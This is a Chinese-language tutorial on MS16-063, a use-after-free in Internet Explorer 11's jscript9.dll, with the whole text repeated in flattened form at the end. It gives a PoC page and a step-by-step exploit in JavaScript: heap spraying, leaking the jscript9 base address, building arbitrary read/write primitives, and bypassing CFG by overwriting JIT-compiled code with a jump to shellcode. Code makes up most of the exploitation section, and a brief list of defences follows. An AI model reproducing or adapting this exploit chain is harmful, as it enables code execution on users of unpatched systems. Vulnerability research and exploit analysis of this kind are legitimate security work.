MS16-063绕过CFG利用
字数 965 2025-08-20 18:18:05

MS16-063漏洞分析与利用教学文档

漏洞概述

MS16-063是Internet Explorer中jscript9.dll组件的一个Use-After-Free (UAF)漏洞。该漏洞存在于JScript引擎处理TypedArray和ArrayBuffer对象时的内存管理机制中,攻击者可以通过精心构造的网页利用此漏洞实现任意代码执行。

漏洞环境

  • 测试系统: Windows 7 SP1 32位
  • 浏览器版本: Internet Explorer 11.0.9600.18204
  • 调试工具:
    • GFlags (启用堆调试和堆分配回溯)
    • Windbg

漏洞分析

POC分析

<html>
<body>
<script>
function pwn() {
    var ab = new ArrayBuffer(1000 * 1024);  // 分配ArrayBuffer
    var ia = new Int8Array(ab);             // 创建引用同一内存的TypedArray
    detach(ab);                             // 释放ArrayBuffer
    setTimeout(main, 50, ia);              // 延迟执行写入操作
    
    function detach(ab) {
        postMessage("", "*", [ab]);         // 通过postMessage释放ArrayBuffer
    }
    
    function main(ia) {
        ia[100] = 0x41414141;               // 触发UAF
    }
}
pwn()
</script>
</body>
</html>

漏洞原理

  1. TypedArray与ArrayBuffer关系:

    • 创建TypedArray时会内部创建一个ArrayBuffer
    • 如果提供ArrayBuffer作为构造参数,则直接使用该Buffer
    • 这样可以得到同一内存块的两个引用
  2. UAF产生原因:

    • postMessage调用会释放ArrayBuffer
    • 但TypedArray仍保留对已释放内存的引用
    • 后续通过TypedArray写入时未检查内存是否有效
  3. 关键代码分析:

    • Js::TypedArray<char,0>::DirectSetItem函数中:
      • 检查索引范围(this[7])
      • 获取buffer地址(this[8])
      • 但未检查buffer是否已被释放
      • 直接写入(*(_BYTE *)(index + buffer) = v5)

漏洞利用

利用环境

  • Windows 10 1511 x86
  • IE 11.0.10586

利用步骤

  1. 堆喷准备:

    var heapsrc = new ArrayBuffer(0x400 * 0x400 * 2 + 0x400 * 100);
    var heapbak = new Int8Array(heapsrc);
    
  2. 堆喷占位:

    var spray = new Array(0x20000);
    var slim = new ArrayBuffer(0x1456);
    
    function sprayHeap(spray){
        for(var i = 0; i < spray.length; i++){
            spray[i] = new Uint8Array(slim);
        }
    }
    sprayHeap(spray);
    
  3. 搜索可控结构:

    for(var i = 0; heapbak[i] != 0x56 || heapbak[i+1] != 0x14 || heapbak[i+2] != 0x00 || heapbak[i+3] != 0x00; i++){
        if(heapbak[i] === undefined) {
            alert("search failed...");
            return;
        }
    }
    
  4. 定位并验证可控对象:

    heapbak[i] += 1; //修改length为0x1457
    lengthIndex = i;
    
    try {
        for(var i = 0; spray[i] != 0x1457; i++);
    } catch(e){
        alert("But Failed...");
        return;
    }
    
    mvslim = spray[i];
    
  5. 泄露关键地址:

    // 获取buffer地址
    var bufaddr = ub(heapbak[lengthIndex+4]) | ub(heapbak[lengthIndex+4+1]) << 8 | 
                  ub(heapbak[lengthIndex+4+2]) << 16 | ub(heapbak[lengthIndex+4+3]) << 24;
    
    // 获取vftable地址
    var vtable = ub(heapbak[lengthIndex-0x1c]) | ub(heapbak[lengthIndex-0x1c+1]) << 8 | 
                 ub(heapbak[lengthIndex-0x1c+2]) << 16 | ub(heapbak[lengthIndex-0x1c+3]) << 24;
    
    // 计算jscript9.dll基地址
    jscriptaddr = vtable - 0x1eeb4;
    
  6. 构造读写原语:

    // 任意地址写
    function setBufferAddress(addr) {
        heapbak[lengthIndex+4] = addr & 0xff;
        heapbak[lengthIndex+4+1] = (addr >> 8) & 0xff;
        heapbak[lengthIndex+4+2] = (addr >> 16) & 0xff;
        heapbak[lengthIndex+4+3] = (addr >> 24) & 0xff;
    }
    
    // 任意地址读
    function readAddressN(addr, n){
        if(n != 4 && n != 8) return 0;
        setBufferAddress(addr);
        var ret = 0;
        for(var i = 0; i < n; i++)
            ret |= (mvslim[i] << (i*8));
        return ret;
    }
    
    // 任意地址写
    function writeAddressN(addr, val, n){
        if(n != 4 && n != 8) return 0;
        setBufferAddress(addr);
        for(var i = 0; i < n; i++)
            mvslim[i] = (val >> (i*8)) & 0xff;
    }
    

绕过CFG保护

  1. 触发JIT编译:

    var code = "var i= 100; var j = 1;";
    for(var i = 0; i < 6500; i++) {
        code += "i *= i + j.toString();";
    }
    code += "return i.toString();";
    
    func = Function(code);
    for(var i = 0; i < 1000; i++) {
        func.call(); // 触发JIT
    }
    
  2. 查找JIT代码缓冲区:

    // 获取ThreadContext
    var threadctx = readAddressN(jscriptaddr + 0x34a074, 4);
    
    // 获取BackJobProcessor
    var bgjob = readAddressN(threadctx + 0x3b0, 4);
    
    // 获取PageAllocator
    var pgalloc = bgjob + 0x1c;
    
    // 查找LargeSegments列表
    while(true){
        var largeSeg = readAddressN(pgalloc + 0x24, 4);
        if(largeSeg == pgalloc + 0x24) continue;
    
        var page = readAddressN(largeSeg + 8 + 8, 4);
        if(page == 0) continue;
    
        break;
    }
    
  3. 修改JIT代码:

    var race = function(){
        var largeSeg = readAddressN(pgalloc + 0x24, 4);
        if(largeSeg == pgalloc + 0x24) return false;
    
        var page = readAddressN(largeSeg + 8 + 8, 4);
        if(page == 0) return false;
    
        buf = page + 0x18;
    
        // 覆盖指令,避免覆盖重定位地址
        setBufferAddress(buf);
        mvslim[0] = 0xeb; // jmp short
        mvslim[1] = 0x34; // 跳转偏移
    
        setBufferAddress(buf + 0x36);
        mvslim.set(scbytes, 0); // 写入shellcode
    
        return true;
    }
    
  4. 执行利用:

    for(var i = 0; i < 1000; i++) {
        race();
    }
    
    for(var i = 0; i < 1000; i++) {
        func.call(); // 触发JIT
    }
    
    while(!race()); // 等待直到覆盖JIT块
    
    for(var i = 0; i < 1000; i++) {
        func.call(); // 调用被覆盖的代码块
    }
    

防御措施

  1. 及时安装微软提供的安全补丁
  2. 启用增强的防护模式(Enhanced Protected Mode)
  3. 使用控制流保护(CFG)等缓解技术
  4. 限制或禁用Active Scripting

参考链接

  1. Patch Analysis of MS16-063 (jscript9.dll)
  2. TypedArray规范
  3. 深入理解Double Free
MS16-063漏洞分析与利用教学文档 漏洞概述 MS16-063是Internet Explorer中jscript9.dll组件的一个Use-After-Free (UAF)漏洞。该漏洞存在于JScript引擎处理TypedArray和ArrayBuffer对象时的内存管理机制中,攻击者可以通过精心构造的网页利用此漏洞实现任意代码执行。 漏洞环境 测试系统 : Windows 7 SP1 32位 浏览器版本 : Internet Explorer 11.0.9600.18204 调试工具 : GFlags (启用堆调试和堆分配回溯) Windbg 漏洞分析 POC分析 漏洞原理 TypedArray与ArrayBuffer关系 : 创建TypedArray时会内部创建一个ArrayBuffer 如果提供ArrayBuffer作为构造参数,则直接使用该Buffer 这样可以得到同一内存块的两个引用 UAF产生原因 : postMessage 调用会释放ArrayBuffer 但TypedArray仍保留对已释放内存的引用 后续通过TypedArray写入时未检查内存是否有效 关键代码分析 : Js::TypedArray<char,0>::DirectSetItem 函数中: 检查索引范围( this[7] ) 获取buffer地址( this[8] ) 但未检查buffer是否已被释放 直接写入( *(_BYTE *)(index + buffer) = v5 ) 漏洞利用 利用环境 Windows 10 1511 x86 IE 11.0.10586 利用步骤 堆喷准备 : 堆喷占位 : 搜索可控结构 : 定位并验证可控对象 : 泄露关键地址 : 构造读写原语 : 绕过CFG保护 触发JIT编译 : 查找JIT代码缓冲区 : 修改JIT代码 : 执行利用 : 防御措施 及时安装微软提供的安全补丁 启用增强的防护模式(Enhanced Protected Mode) 使用控制流保护(CFG)等缓解技术 限制或禁用Active Scripting 参考链接 Patch Analysis of MS16-063 (jscript9.dll) TypedArray规范 深入理解Double Free